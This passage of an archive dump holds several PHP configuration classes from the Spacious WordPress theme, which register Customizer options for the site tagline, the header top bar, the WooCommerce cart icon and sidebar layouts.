				'label'    => esc_html__( 'Site Tagline', 'spacious' ),
				'section'  => 'title_tagline',
				'priority' => 10,
			),

			/**
			 * Colors.
			 */
			array(
				'name'     => 'header_text_color_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Colors', 'spacious' ),
				'section'  => 'title_tagline',
				'priority' => 15,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Site_Identity_Options();
options/header/class-spacious-customize-header-top-bar-options.php000066600000005646152367043330021457 0ustar00<?php
/**
 * Class to include Header Top Bar customize options.
 *
 * Class Spacious_Customize_Header_Top_Bar_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Header Top Bar customize options.
 *
 * Class Spacious_Customize_Header_Top_Bar_Options
 */
class Spacious_Customize_Header_Top_Bar_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		// Customize transport postMessage variable to set `postMessage` or `refresh` as required.
		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			/**
			 * Tob bar Activation.
			 */
			array(
				'name'     => 'header_top_bar_active_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Activate Header Top Bar', 'spacious' ),
				'section'  => 'spacious_header_top_bar',
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_activate_top_header_bar',
				'default'  => 0,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Check to show top header bar. The top header bar includes social icons area, small text area and menu area.', 'spacious' ),
				'section'  => 'spacious_header_top_bar',
				'priority' => 15,
			),

			// Header Info text option.
			array(
				'name'       => 'header_info_text_heading',
				'type'       => 'control',
				'control'    => 'spacious-title',
				'label'      => esc_html__( 'Header Info Text', 'spacious' ),
				'section'    => 'spacious_header_top_bar',
				'priority'   => 20,
				'dependency' => array(
					'spacious_activate_top_header_bar',
					'!=',
					0,
				),
			),

			array(
				'name'       => 'spacious_header_info_text',
				'default'    => '',
				'type'       => 'control',
				'control'    => 'textarea',
				'label'      => esc_html__( 'You can add phone numbers, other contact info here as you like. This box also accepts shortcodes.', 'spacious' ),
				'section'    => 'spacious_header_top_bar',
				'transport'  => $customizer_selective_refresh,
				'partial'    => array(
					'selector'        => '.small-info-text p',
					'render_callback' => array(
						'Spacious_Customizer_Partials',
						'spacious_header_info_text',
					),
				),
				'dependency' => array(
					'spacious_activate_top_header_bar',
					'!=',
					0,
				),
				'priority'   => 25,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Header_Top_Bar_Options();
options/woocommerce/class-spacious-customize-woocommerce-design-options.php000066600000003271152367043330023532 0ustar00<?php
/**
 * Class to include Design WooCommerce customize options.
 *
 * Class Spacious_Customize_WooCommerce_Design_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Bail out if `WooCommerce` plugin is not installed and activated.
 */
if ( ! class_exists( 'WooCommerce' ) ) {
	return;
}

/**
 * Class to include Design WooCommerce customize options.
 *
 * Class Spacious_Customize_WooCommerce_Design_Options
 */
class Spacious_Customize_WooCommerce_Design_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			array(
				'name'     => 'woocommerce_cart_icon_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Cart Icon', 'spacious' ),
				'section'  => 'spacious_woocommerce_button_design',
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_cart_icon',
				'default'  => 0,
				'type'     => 'control',
				'control'  => 'checkbox',
				'label'    => esc_html__( 'Check to show WooCommerce cart icon on menu bar', 'spacious' ),
				'section'  => 'spacious_woocommerce_button_design',
				'priority' => 20,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}
}

return new Spacious_Customize_WooCommerce_Design_Options();
options/woocommerce/class-spacious-customize-woocommerce-sidebar-options.php000066600000007452152367043330023677 0ustar00<?php
/**
 * Class to include Design WooCommerce customize options.
 *
 * Class Spacious_Customize_WooCommerce_Sidebar_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Bail out if `WooCommerce` plugin is not installed and activated.
 */
if ( ! class_exists( 'WooCommerce' ) ) {
	return;
}

/**
 * Class to include Design WooCommerce customize options.
 *
 * Class Spacious_Customize_WooCommerce_Sidebar_Options
 */
class Spacious_Customize_WooCommerce_Sidebar_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			array(
				'name'     => 'woocommerce_sidebar_layout_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Archive Page Layout', 'spacious' ),
				'section'  => 'spacious_woocommerce_page_layout_setting',
				'priority' => 10,
			),


			// WooCommerce shop page layout option.
			array(
				'name'      => 'spacious_woo_archive_layout',
				'default'   => 'no_sidebar_full_width',
				'type'      => 'control',
				'control'   => 'spacious-radio-image',
				'label'     => esc_html__( 'This layout will be reflected in woocommerce archive page only.', 'spacious' ),
				'section'   => 'spacious_woocommerce_page_layout_setting',
				'choices'   => array(
					'right_sidebar'               => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png',
					),
					'left_sidebar'                => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png',
					),
					'no_sidebar_full_width'       => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png',
					),
					'no_sidebar_content_centered' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png',
					),
				),
				'image_col' => 3,
				'priority'  => 30,
			),

			array(
				'name'     => 'woocommerce_product_sidebar_layout_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Product Page Layout', 'spacious' ),
				'section'  => 'spacious_woocommerce_page_layout_setting',
				'priority' => 40,
			),

			// WooCommerce archive page layout option.
			array(
				'name'      => 'spacious_woo_product_layout',
				'default'   => 'right_sidebar',
				'type'      => 'control',
				'control'   => 'spacious-radio-image',
				'label'     => esc_html__( 'This layout will be reflected in woocommerce Product page.', 'spacious' ),
				'section'   => 'spacious_woocommerce_page_layout_setting',
				'choices'   => array(
					'right_sidebar'               => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png',
					),
					'left_sidebar'                => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png',
					),
					'no_sidebar_full_width'       => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png',
					),
					'no_sidebar_content_centered' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png',
					),
				),
				'image_col' => 3,
				'priority'  => 50,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}
}

return new Spacious_Customize_WooCommerce_Sidebar_Options();